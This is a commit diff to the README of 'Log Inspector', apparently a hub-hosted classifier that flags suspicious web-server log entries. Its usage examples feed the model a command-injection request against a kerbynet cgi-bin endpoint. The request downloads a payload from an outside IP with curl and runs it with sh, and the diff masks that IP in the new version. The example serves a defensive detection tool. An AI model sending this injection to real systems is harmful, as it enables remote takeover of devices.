u-haru commited on
Commit
a6d0aa2
·
1 Parent(s): 10406b1

Update README.md

Browse files
Files changed (1) hide show
  1. README.md +3 -2
README.md CHANGED
@@ -1,6 +1,7 @@
1
  ---
2
  language: en
3
  license: apache-2.0
 
4
  ---
5
  # Log Inspector
6
 
@@ -15,7 +16,7 @@ Given text must be parsed as like:
15
  ```python
16
  >>> from transformers import pipeline
17
  >>> inspector = pipeline('text-classification', model="u-haru/log-inspector")
18
- >>> inspector('path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://5.206.227.228/zero;sh zero;"; ref:-; ua:-;')
19
  [{'label': 'LABEL_0', 'score': 0.9999788999557495}]
20
  ```
21
  class 0 is a suspicious log. class 1 is a safe log.
@@ -24,7 +25,7 @@ With simpletransformer:
24
  ```python
25
  >>> from simpletransformers.classification import ClassificationModel
26
  >>> model = ClassificationModel('bert', "u-haru/log-inspector", num_labels=2, use_cuda=(use_cuda and torch.cuda.is_available()), args=param)
27
- >>> predictions, raw_outputs = model.predict(['path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://5.206.227.228/zero;sh zero;"; ref:-; ua:-;']) # 評価
28
  >>> print(predictions)
29
  [0]
30
  ```
 
1
  ---
2
  language: en
3
  license: apache-2.0
4
+ pipeline_tag: text-classification
5
  ---
6
  # Log Inspector
7
 
 
16
  ```python
17
  >>> from transformers import pipeline
18
  >>> inspector = pipeline('text-classification', model="u-haru/log-inspector")
19
+ >>> inspector('path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://O.O.O.O/zero;sh zero;"; ref:-; ua:-;')
20
  [{'label': 'LABEL_0', 'score': 0.9999788999557495}]
21
  ```
22
  class 0 is a suspicious log. class 1 is a safe log.
 
25
  ```python
26
  >>> from simpletransformers.classification import ClassificationModel
27
  >>> model = ClassificationModel('bert', "u-haru/log-inspector", num_labels=2, use_cuda=(use_cuda and torch.cuda.is_available()), args=param)
28
+ >>> predictions, raw_outputs = model.predict(['path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://O.O.O.O/zero;sh zero;"; ref:-; ua:-;'])
29
  >>> print(predictions)
30
  [0]
31
  ```